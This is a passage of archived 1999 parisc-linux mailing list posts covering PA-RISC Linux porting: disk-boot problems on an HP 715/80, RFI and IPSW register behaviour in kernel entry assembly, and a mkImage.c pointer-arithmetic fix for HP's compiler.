Cc: Hannu Martikka <martikka@stybba.ntc.nokia.com>,
        parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@suse.de>
Original-X-From: adevries@thepuffingroup.com  Wed Sep 22 10:43:21 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA19805
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Sep 1999 10:43:20 -0600
Original-Received: (qmail 20119 invoked by uid 15267); 22 Sep 1999 16:45:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20112 invoked from network); 22 Sep 1999 16:45:43 -0000
Original-Received: from unknown (HELO feather.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 22 Sep 1999 16:45:43 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id NAA04850;
	Wed, 22 Sep 1999 13:00:14 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9949

Philipp Rumpf wrote:
> 
> > With 715/80 I get following:
> > Boot
> > :disk(....)/stand/vmlinux
> 
> you might want to try to boot via tftp / bootp as this is what most of us do
> and it seems to work for us.

There's definitely a problem with booting off of a disk, and I'm not
sure what the problem really is.  It'd be great if someone could look
into this, I know we're not implementing the entire LIF header.

Has *anyone* been able to boot from disk?

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:16:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: phi@tcleur.france.hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: [Fwd: [parisc-linux] 715/80 problems]
Date: Wed, 22 Sep 1999 19:02:11 +0200
Lines: 64
Approved: news@gmane.org
Message-ID: <37E90B93.69DE1184@tcleur.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------88E1F5BF9AAFEB57A313104C"
X-Trace: ger.gmane.org 1416619771 14045 80.91.229.3 (22 Nov 2014 01:29:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:31 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: phi@tcleur.france.hp.com  Wed Sep 22 10:58:42 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA20171
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Sep 1999 10:58:41 -0600
Original-Received: (qmail 26386 invoked by uid 15267); 22 Sep 1999 17:01:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26377 invoked from network); 22 Sep 1999 17:01:04 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 22 Sep 1999 17:01:04 -0000
Original-Received: from iws1pb01.france.hp.com (iws1pb01.france.hp.com [15.124.72.10])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id NAA10181
	for <parisc-linux@thepuffingroup.com>; Wed, 22 Sep 1999 13:00:19 -0400 (EDT)
Original-Received: from tcleur.france.hp.com (localhost [127.0.0.1]) by iws1pb01.france.hp.com with ESMTP (8.7.1/8.7.1) id TAA00878 for <parisc-linux@thepuffingroup.com>; Wed, 22 Sep 1999 19:02:11 +0200 (METDST)
Original-Sender: phi@tcleur.france.hp.com
X-Mailer: Mozilla 4.5 [en] (X11; I; HP-UX B.10.20 9000/712)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9950

This is a multi-part message in MIME format.
--------------88E1F5BF9AAFEB57A313104C
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Sorry I sent this reply to Philipp while I meant to send it to the list.

Inthe mean time I saw Alex mail, so its sounds more like a regression
than a new desgin orientation.

Correct me if I'm wrong.
Phi

--
mailto:Philippe_Benard@hp.com
Technical Consulting Lab
--------------88E1F5BF9AAFEB57A313104C
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

X-Mozilla-Status2: 00000000
Message-ID: <37E90ABF.71B2FAD6@tcleur.france.hp.com>
Date: Wed, 22 Sep 1999 18:58:39 +0200
From: phi@tcleur.france.hp.com
X-Mailer: Mozilla 4.5 [en] (X11; I; HP-UX B.10.20 9000/712)
X-Accept-Language: en
MIME-Version: 1.0
To: Philipp Rumpf <prumpf@suse.de>
Subject: Re: [parisc-linux] 715/80 problems
References: <199909162158.OAA21289@milano.cup.hp.com> <Pine.HPX.4.05.9909221438440.2148-100000@gamgee.ntc.nokia.com> <19990922153509.B5481@suse.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Philipp Rumpf wrote:
> 
> > With 715/80 I get following:
> > Boot
> > :disk(....)/stand/vmlinux
> 
> you might want to try to boot via tftp / bootp as this is what most of us do
> and it seems to work for us.
> 

I'm single node oriented for now, I use to setup my disc so I could have
all in 1, i.e a LIF area, an HFS with the development system on it, an
EXT2 area (for the future), a swap area for linux, I don't plan to boo
HP-UX on this one.

With the regression that occured after 14 september  1999, or so (20
septembre is wrong, 14 setp is good), I can't use it anymore.

I'm think about a newfs to regain the full HFS capacity unless one of
you can tell me this will be put back as it was before. For now I assume
the vmlinux is not supposed to boot from isl> hpux right?

Phi

--
mailto:Philippe_Benard@hp.com
Technical Consulting Lab

--------------88E1F5BF9AAFEB57A313104C--


From - Thu Nov 08 21:16:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Fwd: [parisc-linux] 715/80 problems]
Date: Wed, 22 Sep 1999 13:53:36 -0400
Organization: The Puffin Group
Lines: 23
Approved: news@gmane.org
Message-ID: <37E917A0.CEBD1D71@thepuffingroup.com>
References: <37E90B93.69DE1184@tcleur.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619771 14053 80.91.229.3 (22 Nov 2014 01:29:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:31 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: phi@tcleur.france.hp.com
Original-X-From: adevries@thepuffingroup.com  Wed Sep 22 11:38:26 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA20630
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Sep 1999 11:38:15 -0600
Original-Received: (qmail 9769 invoked by uid 15267); 22 Sep 1999 17:40:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9761 invoked from network); 22 Sep 1999 17:40:27 -0000
Original-Received: from unknown (HELO feather.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 22 Sep 1999 17:40:27 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id NAA04990;
	Wed, 22 Sep 1999 13:53:54 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9951

phi@tcleur.france.hp.com wrote:
> 
> With the regression that occured after 14 september  1999, or so (20
> septembre is wrong, 14 setp is good), I can't use it anymore.
> 
> I'm think about a newfs to regain the full HFS capacity unless one of
> you can tell me this will be put back as it was before. For now I assume
> the vmlinux is not supposed to boot from isl> hpux right?

It's *supposed to* work, but it doesn't.

Ah, okay.  This means that we should just be able to see what changed on
Sept. 14 and figure out what to fix.

Is anyone interested in fixing this?

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:16:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Delisle <jdelisle@oasis.novia.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Will it run Linux??
Date: Wed, 22 Sep 1999 12:50:49 -0500 (CDT)
Organization: Novia Internetworking
Lines: 12
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.10.9909221240200.14611-100000@oasis.novia.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619771 14055 80.91.229.3 (22 Nov 2014 01:29:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:31 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jdelisle@oasis.novia.net  Wed Sep 22 11:48:29 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA20910
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Sep 1999 11:48:28 -0600
Original-Received: (qmail 14082 invoked by uid 15267); 22 Sep 1999 17:50:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14072 invoked from network); 22 Sep 1999 17:50:51 -0000
Original-Received: from oasis.novia.net (216.40.24.1)
  by mailserv2.iuinc.com with SMTP; 22 Sep 1999 17:50:51 -0000
Original-Received: from localhost (jdelisle@localhost)
        by oasis.novia.net (8.9.3/Novia) with ESMTP id MAA18283
        for <parisc-linux@thepuffingroup.com>; Wed, 22 Sep 1999 12:50:50 -0500 (CDT)
Xref: news.gmane.org gmane.linux.ports.parisc:9952

Hi,


I run many linux servers from my company and at home.  We have an HP 9000
800/H50 and an 800/G40.  Can I run linux on it?  If so, is there a
FAQ/howto or something? Where do I get it?

I'd really rather run linux than hpux.

John



From - Thu Nov 08 21:16:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frowand@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE:[parisc-linux] Questions understanding exec_kernel
Date: Wed, 22 Sep 1999 11:37:26 PDT
Lines: 81
Approved: news@gmane.org
Message-ID: <199909221837.LAA25870@xsvr4.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619772 14056 80.91.229.3 (22 Nov 2014 01:29:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:32 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: frowand@cup.hp.com  Wed Sep 22 12:35:08 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA27150
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Sep 1999 12:35:07 -0600
Original-Received: (qmail 5736 invoked by uid 15267); 22 Sep 1999 18:37:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5721 invoked from network); 22 Sep 1999 18:37:30 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 22 Sep 1999 18:37:30 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id OAA27607
	for <parisc-linux@thepuffingroup.com>; Wed, 22 Sep 1999 14:36:48 -0400 (EDT)
Original-Received: (from frowand@localhost) by xsvr4.cup.hp.com (8.7.6/8.7.3) id LAA25870 for parisc-linux@thepuffingroup.com; Wed, 22 Sep 1999 11:37:26 -0700 (PDT)
X-Mailer: Elm [revision: 212.4]
Xref: news.gmane.org gmane.linux.ports.parisc:9953

> /*
>  *  exec_kernel(entry_point, &commandline, Kernel_FreeMemStart,
> half_bss_size );
>  *  exec_kernel() calls our kernel...
>  */
> 
>  .EXPORT exec_kernel,code
>  .PROC
>  .CALLINFO
>  .ENTRY
> exec_kernel
>  mtsm     %r0                 ; Disable traps and interrupts.
> 
>  mtctl    %r0,        %cr17   ; Clear two-level IIA Space Queue
>  mtctl    %r0,        %cr17   ;    effectively setting kernel space.
>
>  [Question: Page 5-149 from the PA-RISC 1.1 Architecture and Instruction
> Set Reference Manual states: "Level 0:  If the target control register
> is CR 8, 9, 12, 13, 17, or 20, this instructin executes as a null
> instruction."  I am assuming we are running at level 0 since the rfi
> command required running at level 0, so what is the difference between a
> null instruction and a nop?]

You are not "running" at level 0.  Levels are a description of what
capabilities are implemented in a processor.  The levels are described
on p. 2-4 of the second edition of the PA-RISC 1.1 ..., in the paragraph
titled "Levels of PA-RISC" (I assume you have the first edition because
my page numbers don't match yours).

Therefore, the RFI instruction doesn't require "running at level 0".



> mtctl    %arg0,      %cr18   ; Stuff entry point into head of IIA
>  ldo      4(%arg0),   %arg0   ;    Offset Queue, and entry point + 4
>  mtctl    %arg0,      %cr18   ;    into tail of IIA Offset Queue.
> 
>  ldi      0x9,        %arg0   ; Set PSW Q & I bits (collect intrpt
>  mtctl    %arg0,      %ipsw   ;    state, allow external intrpts).
> 
>  copy     %arg2,      %arg0   ; commandline to arg1
>  [Note:  I think the comment is incorrect... we are actually copying the
> Kernel_FreeMemStart into arg0 ... Am I missunderstanding the comment?]
>                               ; arg3 is not changed..
>  .EXIT
>  rfi    ; begin execution of kernel.
>  nop
>  [Question: Page 5-139 from the PA-RISC 1.1 Architecture and Instruction
> Set Reference Manual states: "Execution of an RFI instruction when any
> of the PSW !, I, or R bits are ones is an undefined operation."  We are
> explicitly setting the Q & I bits before calling the rfi command.  I
> don't understand how this works ... ]
>  .PROCEND
> 
> Thanks,
> -Ryan

I don't have the define of %ipsw (I don't have the source in front of me),
but I assume that is defined to be control register 22, the IPSW.  The
value of the PSW is saved in the PSW whan an interrupt occurs.  Then,
when returning from the interrupt via the RFI instruction, the value of
the IPSW is copied to the PSW.  So if you put a value into the IPSW
then issue the RFI instruction, you set the value of the PSW via the
RFI instrution.  (Look at the "Operation" section for the RFI instruction,
p. 5-138 in the second edition, for more details.)


Then from another email:
>     If I remember right, RFI followed by a NOP is an idiom to tell the CPU
>   to start fetching instructions from an absolute address pointed to by the
>   IVA so we usually want to that with interrupts enabled (Q & I bits set).

The RFI updates the program counter queues from IIAOQ_Back, IIAOQ_Front,
IISQ_Back, and IISQ_Front (these are control registers).  In other words,
the result of the RFI instruction is a branch to the address in
IIASQ_Front.IIAOQ_Front.


-Frank Rowand



From - Thu Nov 08 21:16:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Missing directories from CVS
Date: Wed, 22 Sep 1999 21:13:28 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <37E99AD8.1472834B@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619772 14057 80.91.229.3 (22 Nov 2014 01:29:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:32 +0000 (UTC)
To: Parisc Linux <parisc-linux@thepuffingroup.com>
Original-X-From: rbradetich@uswest.net  Wed Sep 22 21:15:18 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA30362
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Sep 1999 21:15:08 -0600
Original-Received: (qmail 1431 invoked by uid 15267); 23 Sep 1999 03:17:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1421 invoked from network); 23 Sep 1999 03:17:22 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 23 Sep 1999 03:17:22 -0000
Original-Received: (qmail 16142 invoked by alias); 23 Sep 1999 03:13:28 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 15256 invoked by uid 0); 23 Sep 1999 03:12:27 -0000
Original-Received: from beavis.ybsoft.com (HELO uswest.net) (63.224.241.68)
  by boispop1.bois.uswest.net with SMTP; 23 Sep 1999 03:12:27 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.12 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9954

Alex:

The following directories seem to be missing from the CVS repository:

drivers/isdn/eicon
drivers/isdn/divert
drivers/usb
fs/efs
net/irda

-Ryan



From - Thu Nov 08 21:16:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Missing directories from CVS
Date: Thu, 23 Sep 1999 08:30:21 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <199909231530.IAA29217@milano.cup.hp.com>
References: <37E99AD8.1472834B@uswest.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619772 14062 80.91.229.3 (22 Nov 2014 01:29:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:32 +0000 (UTC)
Cc: Parisc Linux <parisc-linux@thepuffingroup.com>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: grundler@cup.hp.com  Thu Sep 23 09:29:47 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA32130
	for <parisc-linux@puffin.external.hp.com>; Thu, 23 Sep 1999 09:29:47 -0600
Original-Received: (qmail 9202 invoked by uid 15267); 23 Sep 1999 15:32:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9195 invoked from network); 23 Sep 1999 15:32:11 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 23 Sep 1999 15:32:11 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id LAA26129;
	Thu, 23 Sep 1999 11:31:20 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id IAA29217; Thu, 23 Sep 1999 08:30:26 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 22 Sep 1999 21:13:28 PDT."
             <37E99AD8.1472834B@uswest.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:9955

Ryan Bradetich wrote:
> Alex:
> 
> The following directories seem to be missing from the CVS repository:
> 
> drivers/isdn/eicon
> drivers/isdn/divert
> drivers/usb
> fs/efs
> net/irda

Yeah...I complained to Alex about this yesterday already.
And guess what? He fixed it! (kudos!)
You should try again...

I did a checkout, make config (for 715), make dep.
(make vmlinux is still running)

gcc is used to build scripts/mkdep, scripts/split-include and bin2hex.
The only thing I'm missing is native "gcc".  I don't have a native
"gcc" since I don't want to be confused about what's native and
what's cross-environment. So I built those items by hand with "cc".

Oh yeah...don't forget to ftp the ramdisk.bin if you start from
scratch like I did.

cheers,
grant

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Missing directories from CVS
Date: Thu, 23 Sep 1999 09:59:42 -0700
Lines: 39
Approved: news@gmane.org
Message-ID: <199909231659.JAA29335@milano.cup.hp.com>
References: <199909231530.IAA29217@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619772 14064 80.91.229.3 (22 Nov 2014 01:29:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:32 +0000 (UTC)
To: Parisc Linux <parisc-linux@thepuffingroup.com>
Original-X-From: grundler@cup.hp.com  Thu Sep 23 10:58:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA32423
	for <parisc-linux@puffin.external.hp.com>; Thu, 23 Sep 1999 10:58:51 -0600
Original-Received: (qmail 13372 invoked by uid 15267); 23 Sep 1999 17:01:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13365 invoked from network); 23 Sep 1999 17:01:15 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 23 Sep 1999 17:01:15 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id NAA10716
	for <parisc-linux@thepuffingroup.com>; Thu, 23 Sep 1999 13:00:32 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id JAA29335 for <parisc-linux@thepuffingroup.com>; Thu, 23 Sep 1999 09:59:43 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 23 Sep 1999 08:30:21 PDT."
             <199909231530.IAA29217@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9956

Grant Grundler wrote:
...
> I did a checkout, make config (for 715), make dep.
> (make vmlinux is still running)

vmlinux built shortly after I posted...


> gcc is used to build scripts/mkdep, scripts/split-include and bin2hex.

Add one more to the list: arch/parisc/boot/mkImage

And on this one "cc" gets picky about pointer math.
Here's my diff for mkImage.c:

118c118
<     *entry_point = *(unsigned long*)(ptr + 6*sizeof(long));
---
>     *entry_point = *(unsigned long*)((char *)ptr + 6*sizeof(long));
131,132c131,132
<     short magic = *(short *)(ptr+sizeof(short));
<     long *arr         = (unsigned long *)ptr;
---
>     short magic = *(short *)((char *)ptr+sizeof(short));
>     long *arr         = (long *)ptr;

Any objections to committing this change?


On second thought, both changes should be written as:

	*entry_point = ((unsigned long *)ptr)[6];
and	
	short magic = ((short *)ptr)[1];


thanks,
grant


From - Thu Nov 08 21:16:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@security.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Missing directories from CVS
Date: Thu, 23 Sep 1999 12:58:52 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <19990923185853.4632E18708@security.hp.com>
References: <199909231659.JAA29335@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619773 14069 80.91.229.3 (22 Nov 2014 01:29:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:33 +0000 (UTC)
Cc: Parisc Linux <parisc-linux@thepuffingroup.com>, lamont@security.hp.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: lamont@security.hp.com  Thu Sep 23 12:56:46 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA32716
	for <parisc-linux@puffin.external.hp.com>; Thu, 23 Sep 1999 12:56:46 -0600
Original-Received: (qmail 28617 invoked by uid 15267); 23 Sep 1999 18:59:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28610 invoked from network); 23 Sep 1999 18:59:10 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 23 Sep 1999 18:59:10 -0000
Original-Received: from security.hp.com (cranston.fc.hp.com [15.6.91.224])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id LAA03354
	for <parisc-linux@thepuffingroup.com>; Thu, 23 Sep 1999 11:58:58 -0700 (PDT)
Original-Received: from cranston.fc.hp.com (cranston.fc.hp.com [15.6.91.224])
	by security.hp.com (Postfix) with ESMTP
	id 4632E18708; Thu, 23 Sep 1999 12:58:53 -0600 (MDT)
In-reply-to: Your message of "Thu, 23 Sep 1999 09:59:42 PDT."
             <199909231659.JAA29335@milano.cup.hp.com> 
Content-ID: <16644.938113132.1@cranston.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9957

> And on this one "cc" gets picky about pointer math.
> Here's my diff for mkImage.c:

> <     *entry_point = *(unsigned long*)(ptr + 6*sizeof(long));
> ---
> >     *entry_point = *(unsigned long*)((char *)ptr + 6*sizeof(long));
OK, so I'm too lazy to go look...  what type is ptr?  I'd guess that
it's declared void*, since that's the only way the pointer math could
work in gcc and not in HP-cc.

> Any objections to committing this change?
> On second thought, both changes should be written as:
> 	*entry_point = ((unsigned long *)ptr)[6];
> and	
> 	short magic = ((short *)ptr)[1];
How about just using filehdr.h, or copying struct header from it, and
using the real structure...?  (I think we've released the format enough
that we could clone the structure, failing that:

  struct header {
	unsigned short magic;
	short fill0;
	long fill[5];
	unsigned long entry_point;
  };
will fit the bill quite nicely.

LaMont "I hate magic offsets" Jones


From - Thu Nov 08 21:16:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Missing directories from CVS
Date: Fri, 24 Sep 1999 10:13:13 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <99092410263805.00271@P100>
References: <19990923185853.4632E18708@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619773 14071 80.91.229.3 (22 Nov 2014 01:29:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:33 +0000 (UTC)
To: parisc-linux@thepuffingroup.com, LaMont Jones <lamont@security.hp.com>,
        Grant Grundler <grundler@cup.hp.com>
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Fri Sep 24 03:59:50 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id DAA00911
	for <parisc-linux@puffin.external.hp.com>; Fri, 24 Sep 1999 03:59:49 -0600
Original-Received: (qmail 717 invoked by uid 15267); 24 Sep 1999 10:02:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 710 invoked from network); 24 Sep 1999 10:02:14 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 24 Sep 1999 10:02:14 -0000
Original-Received: (qmail 26455 invoked from network); 24 Sep 1999 10:02:07 -0000
Original-Received: from dialppp-3-210.rz.ruhr-uni-bochum.de (HELO P100) (root@134.147.3.210)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 24 Sep 1999 10:02:07 -0000
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:9958

Am Thu, 23 Sep 1999 schrieb LaMont Jones:
> > And on this one "cc" gets picky about pointer math.
> > Here's my diff for mkImage.c:
> 
> > <     *entry_point = *(unsigned long*)(ptr + 6*sizeof(long));
> > ---
> > >     *entry_point = *(unsigned long*)((char *)ptr + 6*sizeof(long));
> OK, so I'm too lazy to go look...  what type is ptr?  I'd guess that
> it's declared void*, since that's the only way the pointer math could
> work in gcc and not in HP-cc.

Yes.

> 
> > Any objections to committing this change?
> > On second thought, both changes should be written as:
> > 	*entry_point = ((unsigned long *)ptr)[6];
> > and	
> > 	short magic = ((short *)ptr)[1];
> How about just using filehdr.h, or copying struct header from it, and
> using the real structure...?  (I think we've released the format enough
> that we could clone the structure, failing that:
> 
